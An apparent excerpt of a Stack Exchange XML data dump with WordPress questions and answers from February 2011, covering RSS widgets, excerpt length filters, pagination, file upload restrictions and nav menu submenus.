OwnerUserId="847" LastActivityDate="2011-02-13T20:39:27.840" />
  <row Id="9274" PostTypeId="1" AcceptedAnswerId="9275" CreationDate="2011-02-13T21:55:19.920" Score="0" ViewCount="259" Body="&lt;p&gt;When I search plug-ins for RSS, so many of them are dealing with pulling in RSS feeds.  I just want an RSS icon to let people subscribe to my feed?  I'm also using FeedBurner.  I looked for Feedburner plugins as well, but still confused what is simple and best. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't all blogs have an RSS icon? Or is that simply a matter of the theme? Seems like the default 2010 theme would even have that. &lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-02-13T23:53:28.900" Title="How to add RSS Icon/link as a widget?" Tags="&lt;rss&gt;&lt;icon&gt;" AnswerCount="2" />
  <row Id="9275" PostTypeId="2" ParentId="9274" CreationDate="2011-02-13T22:20:46.203" Score="1" ViewCount="" Body="&lt;p&gt;It is matter of theme, unlike technical links for browser discovery (that make RSS show up in browser address bar) there is no convention on how to present RSS links in page. So that completely up to designer/web master.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way is putting together HTML for link (or taking FeedBurner's snippet) and putting it into text widget.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-13T22:20:46.203" />
  <row Id="9276" PostTypeId="1" AcceptedAnswerId="9498" CreationDate="2011-02-13T23:15:45.590" Score="2" ViewCount="187" Body="&lt;p&gt;I'm looking for a way to search through posts by ID, preferably with support for custom post types. I was hoping there'd be a plugin enabling this functionality, but I've failed to find anything. Any ideas would be greatly appreciated, thank you. &lt;/p&gt;&#xA;" OwnerUserId="1826" LastActivityDate="2011-02-16T11:07:38.167" Title="Search posts by ID in admin" Tags="&lt;admin&gt;&lt;search&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="9277" PostTypeId="1" CreationDate="2011-02-13T23:39:08.820" Score="0" ViewCount="156" Body="&lt;p&gt;I need an help with this code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one works perfectly, but I have this problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one category (A) and 2 subcat (C) &amp;amp; (D)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so when I watching the post on a category (C) , I would to show only relative in a category (D).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I Have to add at this code ?? something like &quot;not_in_category &gt; current.. is it possible??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help mee :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $orig_post = $post;&#xA;global $post;&#xA;$categories = get_the_category();&#xA;if ($categories) {&#xA;$category_id = array();&#xA;foreach($categories as $individual_category) $category_ids[] = $individual_category-&amp;gt;term_id;&#xA;&#xA;$args=array(&#xA;'category__in' =&amp;gt; $category_ids,&#xA;'post__not_in' =&amp;gt; array($post-&amp;gt;ID, $ids),&#xA;'posts_per_page'=&amp;gt; 3, // Number of related posts that will be shown.&#xA;'caller_get_posts'=&amp;gt;1&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-08-15T03:24:29.543" Title="Related Post by category, but not current category child" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="9278" PostTypeId="2" ParentId="9274" CreationDate="2011-02-13T23:53:28.900" Score="0" ViewCount="" Body="&lt;p&gt;Based on Rarst's answer above, I put this in my text box: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;?feed=rss2&quot;&amp;gt;RSS Feed/Feedburner &amp;lt;img src=&quot;http://feedburner.google.com/fb/lib/images/icons/feed-icon-12x12-orange.gif&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And even grabbing the icon from the feedburner.google.com site. &lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-02-13T23:53:28.900" />
  <row Id="9279" PostTypeId="1" CreationDate="2011-02-14T00:50:33.230" Score="-1" ViewCount="54" Body="&lt;p&gt;I am currently working on a site &lt;a href=&quot;http://yamba.ecentriconline.com&quot; rel=&quot;nofollow&quot;&gt;http://yamba.ecentriconline.com&lt;/a&gt;. The availability calender for Yamba is currently available on &lt;a href=&quot;http://www.stayz.com.au/57511&quot; rel=&quot;nofollow&quot;&gt;http://www.stayz.com.au/57511&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the calender on Right hand side to be displayed on my yamba site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest how to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sunil.&lt;/p&gt;&#xA;" OwnerUserId="3106" LastActivityDate="2011-03-16T07:33:33.263" ClosedDate="2011-03-17T14:14:46.367" Title="Need help with implementing a calender" Tags="&lt;3.0.1&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="9280" PostTypeId="1" CreationDate="2011-02-14T02:11:30.457" Score="0" ViewCount="88" Body="&lt;p&gt;I want to change the Right-Hand style on the post &lt;a href=&quot;http://sherridon.bluefrogclients.com/2010/12/15/wellington&quot; rel=&quot;nofollow&quot;&gt;http://sherridon.bluefrogclients.com/2010/12/15/wellington&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know how to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sunil.&lt;/p&gt;&#xA;" OwnerUserId="3106" LastActivityDate="2011-02-14T03:33:42.850" Title="Change CSS on a wordpress post" Tags="&lt;3.0.1&gt;&lt;css&gt;" AnswerCount="2" />
  <row Id="9281" PostTypeId="2" ParentId="9280" CreationDate="2011-02-14T02:17:17.423" Score="1" ViewCount="" Body="&lt;p&gt;this should get you started&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.one_third.last{}&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-02-14T02:17:17.423" />
  <row Id="9282" PostTypeId="1" AcceptedAnswerId="9296" CreationDate="2011-02-14T02:20:44.337" Score="0" ViewCount="140" Body="&lt;p&gt;The default WP media manager does not appear to offer the ability to change an image's filename.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any plugins available that allow this functionality?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-14T08:52:41.817" Title="Any way to change the actual filename of an image from media manager?" Tags="&lt;plugins&gt;&lt;media-library&gt;" AnswerCount="1" />
  <row Id="9283" PostTypeId="2" ParentId="9280" CreationDate="2011-02-14T03:33:42.850" Score="1" ViewCount="" Body="&lt;p&gt;You can easily target styles to a single post by using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;body_class()&lt;/code&gt;&lt;/a&gt; in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You do already have some similarly targetable classes on the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;post-176 post type-post hentry category-house&quot; id=&quot;post-176&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But those styles can intersect with styles on, say, &lt;a href=&quot;http://sherridon.bluefrogclients.com/2010/12&quot; rel=&quot;nofollow&quot;&gt;a date archive page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;post-176 post type-post hentry category-house&quot; id=&quot;post-176&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="66" LastActivityDate="2011-02-14T03:33:42.850" />
  <row Id="9284" PostTypeId="2" ParentId="5584" CreationDate="2011-02-14T03:40:27.513" Score="1" ViewCount="" Body="&lt;p&gt;I just had a problem with this on one of the plugins I maintain, &#xA;and we decided to just check if we were on our pages (wpsc-product and not on post or page) and then we simply deregistered the autosave script,, so,, out CPT is 'wpsc-product' and our function (removing unrelated code looks something like this:&#xA;`&#xA;function admin_include_css_and_js_refac( $pagehook ) {&#xA; global $post_type, $current_screen;&#xA; if($post_type == 'wpsc-product' )&#xA; wp_deregister_script( 'autosave' );            &lt;/p&gt;&#xA;&#xA;&lt;p&gt;}&#xA;add_action( 'admin_enqueue_scripts', 'admin_include_css_and_js_refac' );&#xA;`&#xA;hope that helps someone out..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best&#xA;jeff&lt;/p&gt;&#xA;" LastActivityDate="2011-02-14T03:40:27.513" />
  <row Id="9285" PostTypeId="1" AcceptedAnswerId="9288" CreationDate="2011-02-14T04:11:22.867" Score="0" ViewCount="185" Body="&lt;p&gt;I know I can control the length of excerpts using a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_excerpt#Control_Excerpt_Length_using_Filters&quot; rel=&quot;nofollow&quot;&gt;filter&lt;/a&gt;, however it sets the length globally. In my case I have different lengths of excerpts on three different pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have now. I'd like to improve it so it doesn't truncate words.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content_to_excerpt = strip_tags( strip_shortcodes( get_the_content() ) );&#xA;$pos = strpos($content_to_excerpt, ' ', 160);&#xA;if ($pos !== false) {&#xA; echo  &quot;&amp;lt;p&amp;gt;&quot; . substr($content_to_excerpt, 0, $pos) . &quot;...&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2011-02-18T18:34:14.157" Title="Excerpts that don't truncate words" Tags="&lt;excerpt&gt;" AnswerCount="2" />
  <row Id="9286" PostTypeId="2" ParentId="9285" CreationDate="2011-02-14T04:40:16.900" Score="1" ViewCount="" Body="&lt;p&gt;I know I've seen this question on StackOverflow before. Not specific to WordPress excerpt, but on truncating strings on PHP without truncate words. Looking back on StackOverflow itself, I found &lt;a href=&quot;http://www.the-art-of-web.com/php/truncate/&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt; pretty helpful on this subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code being used there is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Original PHP code by Chirp Internet: www.chirp.com.au&#xA;// Please acknowledge use of this code by including this header. &#xA;function myTruncate($string, $limit, $break=&quot;.&quot;, $pad=&quot;...&quot;) { &#xA;  // return with no change if string is shorter than $limit&#xA;  if(strlen($string) &amp;lt;= $limit) return $string;&#xA;&#xA;  // is $break present between $limit and the end of the string?&#xA;  if(false !== ($breakpoint = strpos($string, $break, $limit))) {&#xA;    if($breakpoint &amp;lt; strlen($string) - 1) {&#xA;      $string = substr($string, 0, $breakpoint) . $pad; &#xA;    } &#xA;  } &#xA;  return $string; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-14T04:40:16.900" CommentCount="1" />
  <row Id="9287" PostTypeId="1" AcceptedAnswerId="9291" CreationDate="2011-02-14T05:41:41.507" Score="0" ViewCount="67" Body="&lt;p&gt;How can I find out if I am on the 1st page of my home page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my page setup like below where I want to display the 1st 2 posts taking up full width. then the rest 1/2. But I want this behaviour on the 1st page only, how can I do that? What condition do I use? &lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-02-14T06:54:24.280" Title="How to know if I am on 1st page" Tags="&lt;theme-development&gt;&lt;pagination&gt;" AnswerCount="1" />
  <row Id="9288" PostTypeId="2" ParentId="9285" CreationDate="2011-02-14T05:44:24.170" Score="5" ViewCount="" Body="&lt;p&gt;Set the filter dynamically based on the page you are loading. If category archive pages have a 100 word excerpt, but posts have a 10 word excerpt, and everything else uses the default:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_custom_excerpt_length( $orig ) {&#xA;    if( is_category() ) {&#xA;        return 100;&#xA;    } elseif( is_single() ) {&#xA;        return 10;&#xA;    }&#xA;&#xA;    return $orig;&#xA;}&#xA;add_filter( 'excerpt_length', 'my_custom_excerpt_length' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get even more specific, giving specific categories a different length.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In response to Rarst, a new template function &lt;code&gt;the_excerpt_length()&lt;/code&gt; for outputting the excerpt with a specific number of words:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Excerpt with a specific number of words, i.e. the_excerpt( 100 );&#xA;function the_excerpt_length( $words = null ) { &#xA;    global $_the_excerpt_length_filter;&#xA;&#xA;    if( isset($words) ) { &#xA;        $_the_excerpt_length_filter = $words;&#xA;    }   &#xA;&#xA;    add_filter( 'excerpt_length', '_the_excerpt_length_filter' );&#xA;    the_excerpt();&#xA;    remove_filter( 'excerpt_length', '_the_excerpt_length_filter' );&#xA;&#xA;    // reset the global&#xA;    $_the_excerpt_length_filter = null;&#xA;}&#xA;&#xA;function _the_excerpt_length_filter( $default ) { &#xA;    global $_the_excerpt_length_filter;&#xA;&#xA;    if( isset($_the_excerpt_length_filter) ) { &#xA;        return $_the_excerpt_length_filter;&#xA;    }   &#xA;&#xA;    return $default;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would be used in your template file, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;    &amp;lt;?php the_excerpt_length( 25 ); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="66" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2011-02-18T18:34:14.157" LastActivityDate="2011-02-18T18:34:14.157" CommentCount="4" />
  <row Id="9289" PostTypeId="1" CreationDate="2011-02-14T05:51:37.317" Score="0" ViewCount="129" Body="&lt;p&gt;I want to add files on WordPress that are non images, embedded video and the like. However when I try this using the upload media feature I get the following error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;File type does not meet security guidelines.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this using WordPress?&lt;/p&gt;&#xA;" OwnerUserId="2864" LastActivityDate="2011-02-14T09:07:40.297" Title="Uploading non-media files?" Tags="&lt;media&gt;&lt;filesystem&gt;" AnswerCount="1" />
  <row Id="9290" PostTypeId="1" AcceptedAnswerId="9293" CreationDate="2011-02-14T06:04:35.303" Score="0" ViewCount="222" Body="&lt;p&gt;Today morning on valentines I received a shocking mail from my WordPress site,&lt;br&gt;&#xA;Don't know what to do,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out in this&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Subject: [Online MBA] High memory&#xA;  usage notification Sent: Feb 13, 2011&#xA;  11:33 PM&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;WordPress memory usage exceeded 64 MB&lt;br&gt;&#xA;  WordPress peak memory usage: 114.87 MB&lt;br&gt;&#xA;  Number of database queries: 173&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-14T07:11:32.257" LastActivityDate="2011-02-14T07:13:31.660" Title="Notification mail about high memory usage?" Tags="&lt;email&gt;&lt;memory&gt;&lt;plugin-tpc-memory-usage&gt;" AnswerCount="1" />
  <row Id="9291" PostTypeId="2" ParentId="9287" CreationDate="2011-02-14T06:54:24.280" Score="1" ViewCount="" Body="&lt;p&gt;I'm assuming that you're talking about the &quot;home page&quot; when you say &quot;1st page only&quot;.  Or are you talking about the first &quot;paginated&quot; page of your posts?  If its the prior, you'd probably want to use the &quot;is_front_page()&quot; conditional if you're using a single page.php template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe it'd be easier to make a &quot;page-home.php&quot; template and do some sort of new query of your posts...just for that page.  Would that work?&lt;/p&gt;&#xA;" OwnerUserId="3111" LastActivityDate="2011-02-14T06:54:24.280" CommentCount="3" />
  <row Id="9292" PostTypeId="2" ParentId="9279" CreationDate="2011-02-14T07:08:03.207" Score="0" ViewCount="" Body="&lt;p&gt;Looks like you might be able to move some JS around and potentially pull in what you need from the stayz.com.au site....assuming you had permission and could get around some cross-domain issues.   Might be possible though.  Have you asked the folks at stays.com.au if they offer any sort of API/Widget/etc. to be able to display their calendar on a separate site.  Maybe they even have a way to display it in an iFrame...that'd make implementation pretty easy&lt;/p&gt;&#xA;" OwnerUserId="3111" LastActivityDate="2011-02-14T07:08:03.207" />
  <row Id="9293" PostTypeId="2" ParentId="9290" CreationDate="2011-02-14T07:13:31.660" Score="1" ViewCount="" Body="&lt;p&gt;This mail seems to come from &lt;a href=&quot;http://wordpress.org/extend/plugins/tpc-memory-usage/&quot; rel=&quot;nofollow&quot;&gt;the TPC! Memory Usage plugin&lt;/a&gt;. The description includes &lt;em&gt;Send e-mail notification if memory usage reaches threshold setting&lt;/em&gt;, and it seems that is what happened here. Either change your plugins so they use less memory, increase the notification limit, or remove this plugin.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-14T07:13:31.660" CommentCount="5" />
  <row Id="9294" PostTypeId="1" AcceptedAnswerId="9367" CreationDate="2011-02-14T07:39:25.310" Score="0" ViewCount="142" Body="&lt;p&gt;How can I implement pagination like shown in the title perhaps something similar to most sites &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://imgur.com/Y2D08.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-02-15T06:41:12.837" Title="How to implement pagination eg. newer - 3 - 4 - 5 - 6 - 7 - older" Tags="&lt;pagination&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="9295" PostTypeId="2" ParentId="9268" CreationDate="2011-02-14T08:52:14.210" Score="1" ViewCount="" Body="&lt;p&gt;The widget settings (as well as plenty of other stuff) are stored in MySQL database. Actual files are mostly PHP code that runs the show, WordPress uses next to none manipulating files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to recover those you will need to look in backup of your database as well as some code to make sense of values (widget settings are complex and probably stored in in database in serialized form).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-14T08:52:14.210" />
  <row Id="9296" PostTypeId="2" ParentId="9282" CreationDate="2011-02-14T08:52:41.817" Score="1" ViewCount="" Body="&lt;p&gt;Try the &lt;a href=&quot;http://www.meow.fr/media-file-renamer&quot; rel=&quot;nofollow&quot;&gt;Media File Renamer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-02-14T08:52:41.817" CommentCount="1" />
  <row Id="9297" PostTypeId="2" ParentId="9277" CreationDate="2011-02-14T08:56:40.947" Score="0" ViewCount="" Body="&lt;p&gt;There is &lt;code&gt;category__not_in&lt;/code&gt; (see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Category_Parameters&quot; rel=&quot;nofollow&quot;&gt;Category Parameters&lt;/a&gt;), but I am not entirely sure if it will work properly if you try to include and exclude category at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to skip some category with your current arguments I think it would be better to not include it in &lt;code&gt;$category_ids&lt;/code&gt; array.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-14T08:56:40.947" CommentCount="1" />
  <row Id="9298" PostTypeId="2" ParentId="9294" CreationDate="2011-02-14T09:04:53.543" Score="3" ViewCount="" Body="&lt;p&gt;You can use WP-PageNavi&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-pagenavi/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-pagenavi/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-14T09:04:53.543" CommentCount="1" />
  <row Id="9299" PostTypeId="2" ParentId="9289" CreationDate="2011-02-14T09:07:40.297" Score="2" ViewCount="" Body="&lt;p&gt;There are two ways that error can be triggered ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-admin/includes/file.php#L307&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;user does not have &lt;code&gt;unfiltered_upload&lt;/code&gt; capability;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;WP does not like file type or extension.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Latter is checked by &lt;code&gt;wp_check_filetype_and_ext()&lt;/code&gt; function ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/functions.php#L2377&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ) that filters return through &lt;code&gt;wp_check_filetype_and_ext&lt;/code&gt; hook to allow validation of additional file types.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-14T09:07:40.297" CommentCount="2" />
  <row Id="9300" PostTypeId="1" AcceptedAnswerId="9343" CreationDate="2011-02-14T09:16:24.297" Score="0" ViewCount="354" Body="&lt;p&gt;I'm using the theme Starkers which is based on twentyten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My twenty ten theme do place child pages below its parent page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the new theme (based on Starkers) I'm developing doesn't (it just place it in the first level).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My theme header.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;access&quot; role=&quot;navigation&quot;&amp;gt;&#xA;        &amp;lt;?php wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'primary' ) ); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #access --&amp;gt;&#xA;        &amp;lt;div id=&quot;branding&quot;&amp;gt;&#xA;            &amp;lt;h1&amp;gt;&#xA;                &amp;lt;?php if (get_option(THEME_PREFIX . &quot;logo_image_enabled&quot;)) { ?&amp;gt;&#xA;                     &amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;&quot; title=&quot;&amp;lt;?php bloginfo('name'); ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/&amp;lt;?php echo get_option(THEME_PREFIX . 'logo_image'); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;?php } else { ?&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo get_option(THEME_PREFIX . &quot;logo_text&quot;); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;/h1&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #branding --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;twentyten's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;access&quot; role=&quot;navigation&quot;&amp;gt;&#xA;          &amp;lt;?php /*  Allow screen readers / text browsers to skip the navigation menu and get right to the good stuff */ ?&amp;gt;&#xA;            &amp;lt;div class=&quot;skip-link screen-reader-text&quot;&amp;gt;&amp;lt;a href=&quot;#content&quot; title=&quot;&amp;lt;?php esc_attr_e( 'Skip to content', 'twentyten' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e( 'Skip to content', 'twentyten' ); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php /* Our navigation menu.  If one isn't filled out, wp_nav_menu falls back to wp_page_menu.  The menu assiged to the primary position is the one used.  If none is assigned, the menu with the lowest ID is used.  */ ?&amp;gt;&#xA;            &amp;lt;?php wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'primary' ) ); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #access --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My theme's output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;access&quot; role=&quot;navigation&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;menu&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;     &amp;lt;li class=&quot;current_page_item&quot;&amp;gt;&amp;lt;a href=&quot;http://localhost/bf3/&quot; title=&quot;Home&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;     &amp;lt;li class=&quot;page_item page-item-23&quot;&amp;gt;&amp;lt;a href=&quot;http://localhost/bf3/?page_id=23&quot;   title=&quot;Blog&quot;&amp;gt;Blog&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;     &amp;lt;li class=&quot;page_item page-item-63&quot;&amp;gt;&amp;lt;a href=&quot;http://localhost/bf3/?page_id=63&quot; title=&quot;Home  sub&quot;&amp;gt;Home sub&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #access --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;twenty-ten's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;access&quot; role=&quot;navigation&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;skip-link screen-reader-text&quot;&amp;gt;&amp;lt;a href=&quot;#content&quot; title=&quot;Skip to content&quot;&amp;gt;Skip to content&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;menu-header&quot;&amp;gt;&#xA; &amp;lt;ul id=&quot;menu-custom-menu&quot; class=&quot;menu&quot;&amp;gt;&#xA;  &amp;lt;li id=&quot;menu-item-66&quot; class=&quot;menu-item menu-item-type-post_type menu-item-object-page menu-item-66&quot;&amp;gt;&amp;lt;a href=&quot;http://localhost/bf3/?page_id=23&quot;&amp;gt;Blog&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li id=&quot;menu-item-67&quot; class=&quot;menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-2 current_page_item menu-item-67&quot;&amp;gt;&amp;lt;a href=&quot;http://localhost/bf3/&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&#xA; &amp;lt;ul class=&quot;sub-menu&quot;&amp;gt;&#xA;  &amp;lt;li id=&quot;menu-item-65&quot; class=&quot;menu-item menu-item-type-post_type menu-item-object-page menu-item-65&quot;&amp;gt;&amp;lt;a href=&quot;http://localhost/bf3/?page_id=63&quot;&amp;gt;Home sub&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA; &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;         &#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #access --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Twenty-ten adds a unordered list with the class &lt;code&gt;.sub-menu&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(My functions.php was directly taken from twentyten's).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know which file and section makes the child pages sub-menus in the &lt;code&gt;wp_nav_menu&lt;/code&gt; part of the header?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-02-14T09:42:53.543" LastActivityDate="2011-02-14T22:32:27.523" Title="Child pages don't become submenus (as in the twenty-ten theme)?" Tags="&lt;css&gt;&lt;theme-twenty-ten&gt;&lt;theme-starkers&gt;&lt;menus&gt;" AnswerCount="1" CommentCount="2" />
